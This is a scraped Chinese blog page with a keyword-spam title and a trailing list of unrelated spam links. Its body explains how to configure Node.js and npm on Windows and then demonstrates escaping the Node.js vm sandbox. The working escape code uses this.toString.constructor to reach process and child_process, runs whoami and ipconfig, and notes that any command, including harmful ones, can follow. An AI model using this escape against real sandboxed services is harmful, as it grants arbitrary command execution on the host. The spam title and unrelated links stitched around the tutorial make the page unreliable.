当前位置: 首页 > news >正文

网站建设的大功效b站推广入口2023mmm无病毒

网站建设的大功效,b站推广入口2023mmm无病毒,电子商务网站建设研究,企业云app下载目录 一. 配置环境1.下载nodejs2.nodejs配置3.报错解决方法 二. nodej沙箱绕过1. vm模块2.使用this或引用类型来进行沙箱绕过 一. 配置环境 1.下载nodejs 官网:https://nodejs.org/en2.nodejs配置 安装nodejs的msi文件,默认配置一直下一步即可&#x…

目录

  • 一. 配置环境
    • 1.下载nodejs
    • 2.nodejs配置
    • 3.报错解决方法
  • 二. nodej沙箱绕过
    • 1. vm模块
    • 2.使用this或引用类型来进行沙箱绕过

一. 配置环境

1.下载nodejs

官网:https://nodejs.org/en

在这里插入图片描述

2.nodejs配置

安装nodejs的msi文件,默认配置一直下一步即可,以下步骤以默认安装为准,如有安装位置改变,请自行更改环境变量里面的配置。
继续进行环境变量的配置
用户变量如下
在这里插入图片描述
系统变量如下
在这里插入图片描述
编辑PATH添加如下
在这里插入图片描述
在默认安装位置新建如下两个文件
node_cache是放安装过程的缓存文件
node_global是存放安装模块配置位置
在这里插入图片描述
测试是否安装成功
在这里插入图片描述
继续执行如下命令

npm config set prefix "C:\Program Files\nodejs\node_global"
npm config set cache "C:\Program Files\nodejs\node_cache"

安装cluster进行测试

npm install cluster -g

3.报错解决方法

如有报错请尝试给nodejs默认安装目录提升用户权限来解决。

二. nodej沙箱绕过

1. vm模块

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

运行结果
在这里插入图片描述

2.使用this或引用类型来进行沙箱绕过

this指向的是sandbox,我们可以获得一个tosString方法,通过toString方法来获得一个构造函数。
所有函数都是由Fuction创造出来的,我们的目的是拿到process模块
在这里插入图片描述
因为constructor本身指向它的构造函数,所以我们可以利用constructor函数,来拿到Function函数
沙盒逃逸就是要把外面的元素或者对象引入进来。
如下,此时是利用this

const vm = require('vm');
const script = `
const process = x.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;const sandbox = { m: [], n: {}, x:/regexp/};
const context = new vm.createContext(sandbox);
//const res = vm.runInContext(script, context);
const res = vm.runInContext(script,context)
console.log(res)

我们把“x”替换为this也是可以成功执行的,此时m和n可以是任意.,这个是利用了引用类型比如{}。


const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('ipconfig').toString()
`;const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
//const res = vm.runInContext(script, context);
const res = vm.runInContext(script,context)
console.log(res)

whoami成功执行,代表着此时已经可以任意命令执行
在这里插入图片描述
用户learnpc是我的管理员用户
在这里插入图片描述

比如我们这里在执行以下ipconfig来进行验证
在这里插入图片描述
以上便是经典的沙箱逃逸来执行命令,当我们可以执行命令的时候,便说明我们其实已经成功拿下。此时也可执行其他不好的命令。

http://www.tj-hxxt.cn/news/24202.html

相关文章:

  • wordpress get_query_var搜索引擎优化服务公司哪家好
  • 来个可以做渗透的网站今天刚刚最新消息2023
  • Wordpress图床对接阿里云谷歌seo外包公司哪家好
  • 往公众号里放网站怎么做上海最新政策
  • 帮熟人做网站如何收费上海知名的seo推广咨询
  • 网站开发简历互联网宣传方式有哪些
  • 做h5免费的网站有营销云
  • 网站设置关于我们怎么做怎么在百度推广自己的网站
  • 企业手机网页设计优化关键词排名的工具
  • 移动终端网站开发深圳网站营销seo电话
  • 访问behance设计网站百度提交入口网址是什么
  • 深圳企业黄页网站查指数
  • 临沂网站制作公司注册城乡规划师含金量
  • 公司网站建设征求意见表软文网站
  • 郑州网站推广平台seol英文啥意思
  • 做彩票网站多少钱成都网络优化托管公司
  • 免费做网站支持绑定网页设计效果图及代码
  • 高端网站建设推广项目的平台
  • 怎么修改网站默认首页浏览器里面信息是真是假
  • 网站优化是怎么做的运用搜索引擎营销的案例
  • 在小说网站做责编郑州关键词优化顾问
  • 公司网站建设gghhhjseo关键词大搜
  • 青海做网站多少钱百度霸屏推广一般多少钱
  • 为什么平面设计最后都转行了关键词优化 搜索引擎
  • 美橙建站之星怎么样南宁优化网站收费
  • 动漫制作专业名人作品展示seo网站关键词优化报价
  • 绵阳网络公司网站建设写手接单平台
  • 北京瑞浩信息管理咨询有限公司北京seo推广
  • 公司网站用个人备案 2018it培训机构有哪些
  • 昆明网站建设是什么在线代理浏览网站